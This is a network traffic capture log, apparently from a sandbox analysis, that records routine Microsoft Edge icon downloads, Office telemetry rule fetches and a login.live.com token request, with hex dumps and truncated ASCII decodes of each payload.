2024-11-26 21:52:52 UTC	1751	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 06 6c 49 44 41 54 78 01 ed 98 4d 6c 54 55 14 c7 cf 9d ce b4 52 09 42 85 b8 40 ed f3 23 44 37 0a b8 32 71 01 71 a1 89 1b dc 08 3b ab 0b 64 87 b8 30 84 10 3a c3 c2 a5 1a 57 b8 52 16 26 6e 8c 10 3f 91 c5 a0 a2 21 0d d1 c6 18 63 34 9a 91 b8 c0 40 6c a1 ed cc 7b ef 7e 1c ff e7 de fb e6 4d 3f a0 1f d4 e8 a2 17 5e de eb ed 9b f7 7e f7 7f ce f9 9f 3b 25 5a 1b 6b e3 bf 1d 8a 56 71 d4 cf f2 2e 36 34 ca 44 bb d8 11 15 07 71 cf 19 ff 71 ad 08 3f 3b 4b 13 4e bb 3f 74 27 1f cf 3a d4 38 71 68 5d eb 5f 03 3c 76 86 9f c7 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAalIDATxMlTURB@#D72qq;d0:WR&n?!c4@l{~M?^~;%ZkVq.64Dqq?;KN?t':8qh]_<v

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
101	192.168.2.7	49873	13.107.246.40	443	7832	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 21:52:51 UTC	433	OUT	GET /assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-26 21:52:52 UTC	536	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 21:52:51 GMT Content-Type: image/png Content-Length: 1427 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:36 GMT ETag: 0x8DBDCB5EF021F8E x-ms-request-id: 07673f87-701e-0068-1e2a-403656000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241126T215251Z-174f78459688l8rvhC1EWRtzr000000008h000000000q1dc Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-26 21:52:52 UTC	1427	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 28 49 44 41 54 78 01 ed 57 cd 6b 24 45 14 7f af 67 86 c4 5d cd 8e 9b 05 d1 3d ec e8 1f 20 5e 3d 28 eb 41 04 41 44 10 3c 66 d1 53 92 d3 42 40 72 da 11 84 5c b3 7f 80 24 39 48 40 d4 8b 17 2f b2 e2 1f a0 1e 25 a7 01 11 16 17 35 1f f3 d1 dd d5 55 cf 57 df d5 d3 eb 4e 5a f0 22 53 a1 52 9d 57 5d ef fd de ef 7d 74 05 60 39 96 63 39 96 e3 3f 1d 08 ff 62 1c 1f 1f df e6 e5 9e 52 ea 15 5e fb bc 02 11 99 a9 9f f5 e4 41 52 4a 74 7b df f3 7a 77 7b 7b fb 67 68 39 5a 03 3c 3a 3a da 40 c4 43 0f ea 1f 56 3d 34 38 e2 89 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAa(IDATxWk$Eg]= ^=(AAD<fSB@r\$9H@/%5UWNZ"SRW]}t`9c9?bR^ARJt{zw{{gh9Z<::@CV=48

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
102	192.168.2.7	49878	13.107.246.40	443	7832	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 21:52:51 UTC	430	OUT	GET /assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-26 21:52:52 UTC	543	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 21:52:51 GMT Content-Type: image/png Content-Length: 2008 Connection: close Last-Modified: Tue, 10 Oct 2023 17:24:26 GMT ETag: 0x8DBC9B5C0C17219 x-ms-request-id: 204c33f4-801e-0054-0391-3f828d000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241126T215251Z-174f7845968psccphC1EWRuz9s0000000wc0000000000wyv Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-26 21:52:52 UTC	2008	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 07 6d 49 44 41 54 78 01 ed 98 bf 6f 14 47 14 c7 df ec 9d 11 48 48 5c aa 94 de 74 74 18 45 a9 59 24 0a d2 24 54 91 a0 f1 39 44 24 45 24 ec 32 0d be 28 05 44 14 98 2a e9 7c 96 50 e4 26 32 11 2d 02 47 91 02 4d 64 a3 08 25 92 a5 70 fc 05 18 ff 38 df ed af 97 ef 77 76 66 bd 36 07 67 9b 58 69 18 69 34 b3 b3 bb b3 9f fb ce 7b 6f de 9c c8 bb f2 76 c5 c8 21 95 bf 66 35 4c 33 59 8a 33 6d e0 33 53 1f 7e 69 66 38 fe 74 56 c7 b2 54 1e 26 a9 34 f2 4c a6 3e fa ba 18 ff e3 96 36 7b 89 cc 6e f5 45 92 2c 9b f8 b8 55 6f 73 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAamIDATxoGHH\ttEY$$T9D$E$2(D*\|P&2-GMd%p8wvf6gXii4{ov!f5L3Y3m3S~if8tVT&4L>6{nE,Uos

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
103	192.168.2.7	49877	13.107.246.40	443	7832	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 21:52:51 UTC	422	OUT	GET /assets/edge_hub_apps_M365_light.png/1.7.32/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-26 21:52:52 UTC	543	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 21:52:51 GMT Content-Type: image/png Content-Length: 2229 Connection: close Last-Modified: Wed, 25 Oct 2023 19:48:24 GMT ETag: 0x8DBD59359A9E77B x-ms-request-id: af3ad659-301e-0020-15e2-3f04cb000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241126T215251Z-174f7845968vqt9xhC1EWRgten0000000vz000000000r9du Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-26 21:52:52 UTC	2229	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 08 4a 49 44 41 54 78 01 ed 98 6d 88 5c 57 19 c7 9f e7 dc 7b 37 89 49 9a dd 6c 5e d6 96 c0 c4 36 a1 d5 2f 49 a1 92 22 ea 06 ac a4 41 21 05 41 2a e8 ee 16 a4 82 e0 26 62 a5 b5 92 99 f1 8b 2f 68 b3 fd 92 16 ad 64 fb 29 16 62 53 6d 68 17 15 b2 a2 ed 07 b1 6c a8 95 d6 97 74 36 a9 35 69 d2 90 dd 6d bb 9b 99 7b ce 79 fc 3f e7 dc d9 8d 99 24 b3 2f f9 d8 03 77 9e 7b ce dc b9 e7 77 ff cf cb 39 77 88 3e 6c 4b 6b 4c 37 a8 f5 ee 1d 2b a5 44 25 c2 47 9a d2 f8 c8 8f b6 8f d3 0d 68 4b 06 dc f1 8d df f7 ae cc ba cb 6c a8 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaJIDATxm\W{7Il^6/I"A!A*&b/hd)bSmhlt65im{y?$/w{w9w>lKkL7+D%GhKl

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.7	49882	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 21:52:51 UTC	192	OUT	GET /rules/rule120682v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 21:52:52 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 21:52:52 GMT Content-Type: text/xml Content-Length: 501 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:18 GMT ETag: "0x8DC582BACFDAACD" x-ms-request-id: f418fe9b-801e-0047-5281-3f7265000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T215252Z-174f7845968g6hv8hC1EWR1v2n00000003v000000000sawg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 21:52:52 UTC	501	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120682" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <R T="2" R="120100" /> <SS T="3" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> </S> <C T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.7	49881	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 21:52:52 UTC	192	OUT	GET /rules/rule120681v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 21:52:52 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 21:52:52 GMT Content-Type: text/xml Content-Length: 958 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:58 GMT ETag: "0x8DC582BA0A31B3B" x-ms-request-id: c668448b-101e-007a-2d91-3f047e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T215252Z-174f7845968px8v7hC1EWR08ng0000000w8000000000fvq0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 21:52:52 UTC	958	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 38 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120681" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120608" /> <R T="2" R="120680" /> <TH T="3"> <O T="AND"> <L> <O T="EQ"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.7	49880	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 21:52:52 UTC	192	OUT	GET /rules/rule120680v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 21:52:52 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 21:52:52 GMT Content-Type: text/xml Content-Length: 1952 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B956B0F3D" x-ms-request-id: fdde7aaa-d01e-0028-2a8c-3f7896000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T215252Z-174f78459684bddphC1EWRbht40000000vn000000000w8ya x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 21:52:52 UTC	1952	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 31 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120680" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <SS T="1" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> <R T="2" R="120682" /> <F T="3"> <O T="LT"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
107	192.168.2.7	49883	20.190.177.146	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 21:52:52 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-11-26 21:52:52 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-26 21:52:53 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Tue, 26 Nov 2024 21:51:52 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C522_BAY x-ms-request-id: d8f77baa-2657-483f-bab1-98aa575236d2 PPServer: PPV: 30 H: PH1PEPF0001B8AC V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Tue, 26 Nov 2024 21:52:52 GMT Connection: close Content-Length: 11389
2024-11-26 21:52:53 UTC	11389	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.7	49884	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 21:52:52 UTC	193	OUT	GET /rules/rule120602v10s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 21:52:53 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 21:52:52 GMT Content-Type: text/xml Content-Length: 2592 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5B890DB" x-ms-request-id: 8c2ab893-e01e-0003-5391-3f0fa8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T215252Z-174f7845968cdxdrhC1EWRg0en0000000vz000000000dseq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 21:52:53 UTC	2592	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 32 22 20 56 3d 22 31 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 6e 64 4c 61 6e 67 75 61 67 65 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120602" V="10" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAndLanguage" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa=

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.7	49885	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 21:52:53 UTC	192	OUT	GET /rules/rule120601v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 21:52:53 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 21:52:53 GMT Content-Type: text/xml Content-Length: 3342 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:34 GMT ETag: "0x8DC582B927E47E9" x-ms-request-id: 6eac8613-a01e-006f-3091-3f13cd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T215253Z-174f7845968ljs8phC1EWRe6en0000000vx0000000007qc3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 21:52:53 UTC	3342	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 4f 53 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120601" V="3" DC="SM" EN="Office.System.SystemHealthMetadataOS" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC" xmlns=""> <RI

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
110	192.168.2.7	49886	13.107.246.40	443	7832	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 21:52:53 UTC	425	OUT	GET /assets/edge_hub_apps_outlook_light.png/1.9.10/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-26 21:52:53 UTC	536	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 21:52:53 GMT Content-Type: image/png Content-Length: 1154 Connection: close Last-Modified: Wed, 25 Oct 2023 19:48:30 GMT ETag: 0x8DBD5935D5B3965 x-ms-request-id: 0fa3f0b7-901e-002d-4291-3febc7000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241126T215253Z-174f7845968l4kp6hC1EWRe8840000000w5g00000000qk08 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-26 21:52:53 UTC	1154	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 04 17 49 44 41 54 78 01 ed 97 cf 6f db 64 18 c7 bf 76 6a ea 34 69 e3 26 4b d4 b4 30 d2 f1 ab 4c 9a 96 c1 6e ed a1 30 0e 5c 10 4c b0 d3 0e ed 05 c1 05 35 3d ec 00 97 66 ff 41 72 43 02 a9 1a bb 70 03 c4 0d 6d 62 48 4c e2 f7 3a 0a 62 17 56 6b ab d6 aa cd 1a 37 4d 66 c7 89 fd ee 7d 9d 25 6b 1b 27 b1 1b 57 bd e4 23 39 f1 ef 7e fa 3c ef f3 bc 6f 80 1e 3d 8e 16 ce e9 8d c2 87 3f 24 4d 42 7e 04 88 04 2f e1 20 13 82 ac f9 e5 db 19 bb cb 3c 1c 62 10 73 d1 73 39 06 41 82 03 b7 80 d9 6f 6c df ed 38 82 13 5f 6f 10 b8 Data Ascii: 